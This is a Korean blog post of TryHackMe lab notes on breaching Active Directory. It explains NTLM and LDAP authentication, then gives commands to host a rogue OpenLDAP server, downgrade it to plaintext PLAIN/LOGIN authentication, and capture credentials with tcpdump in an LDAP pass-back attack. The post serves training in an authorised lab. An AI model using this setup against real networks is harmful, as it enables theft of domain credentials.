System/침투

THM - Breaching Active Directory (1)

병뚜 2023. 9. 27. 16:54

랩실에서 실습하기 위한 사전 준비

 

[ATTACKBOX]

systemd-resolve --interface breachad --set-dns {THMDC_IP} --set-domain za.tryhackme.com
nslookup thmdc.za.tryhackme.com

 

Task 4  LDAP Bind Credentials

애플리케이션이 사용할 수 있는 AD인증방법

 

4.1 NTLM

 - 시도-응답 기반 체계인 NetNTLM을 사용

 - 애플리케이션이 사용자를 대신하여 인증, 애플리케이션 자체에서 직접 사용자를 인증하지 않음

 - AD자격증명은 DC에만 저장 (애플리케이션에 저장X)

 

4.2 LDAP 

 - 애플리케이션이 사용자의 자격 증명을 직접 확인함

 - 애플리케이션은 AD 자격증명 쌍을 가지고 있음

   (해당 쌍을 사용해서 LDAP에 쿼리,AD 사용자의 자격증명을 확인함)

 

 

출처 : https://tryhackme.com/room/breachingad

4.2.1 LDAP을 통한 인증과정

User ↔ Network Connected Printer ↔ Domain Controller

(1) 사용자→프린터 : AD 계정/패스워드와 함께 인쇄 요청

(2) 프린터→DC : AD 자격증명을 사용하여 LDAP 바인딩 요청 생성

(3) DC→프린터 : 바인딩 응답 제공

(4) 프린터→DC : LDAP 사용자 검색 요청

(5) DC→프린터 : 사용자 검색에 대한응답

(6) 프린터→DC : LDAP 사용자 자격증명으로 요청 바인딩

(7) DC→프린터 : 바인딩 응답 전송

(8) 프린터→사용자 : 사용자가 인증되고, 인쇄 작업 수락

 

 

4.2.2 LDAP 패스백 공격

회의실에 악성 장치를 연결하는 등 내부 네트워크에 대한 초기 액세스 권한을 얻은 경우 프린터와 같은 네트워크 장치에 대한 일반적인 공격임.

 

 

4.2.3 악성 LDAP 서버 호스팅

→ OpenLDAP을 활용

 

1) OpenLDAP 설치

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

 

2) LDAP 서버 재구성

sudo dpkg-reconfigure -p low slapd

 

3) 지원하는 인증 매커니즘을 다운그레이드하여 취약한 서버로 구성

→ olcSaslSecProps.ldif 생성

*LDAP 서버가 PLAIN 및 LOGIN 인증 방법만 지원하도록 설정할 것.

*olcSaslSecProps : SASL 보안 속성을 지정

*noanonymous: 익명로그인 지원 비활성화

*minssf: 최소 허용 보안 강도 0으로 설정(보호하지 않음)

dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

※ 주의사항 : THM에서 그대로 복붙하면 개행이 하나씩 더 생기는데, 이러면 설정이 적용되지 않는다. 

 

4) 설정 적용 후 서비스 재시작

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

 

5) LDAP 설정이 적용되었는지 확인

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

 

# 결과
dn:
supportedSASLMechanisms: PLAIN
supportedSASLMechanisms: LOGIN

 

6) 평문으로 전송되는 인증값 확인

* tcpdump : 네트워크 패킷을 캡처하고 출력하는 명령

* S 옵션 : 패킷 데이터 출력 시 스냅샷 길이를 제한하지 않음

* X 옵션 : 패킷 데이터 출력 시 16진수, ASCII 문자 함께 출력

* i 옵션 : 'breachad'라는 네트워크 인터페이스를 통하는 패킷 데이터 출력

* tcp port 389 : 필터링 조건

tcpdump -SX -i breachad tcp port 389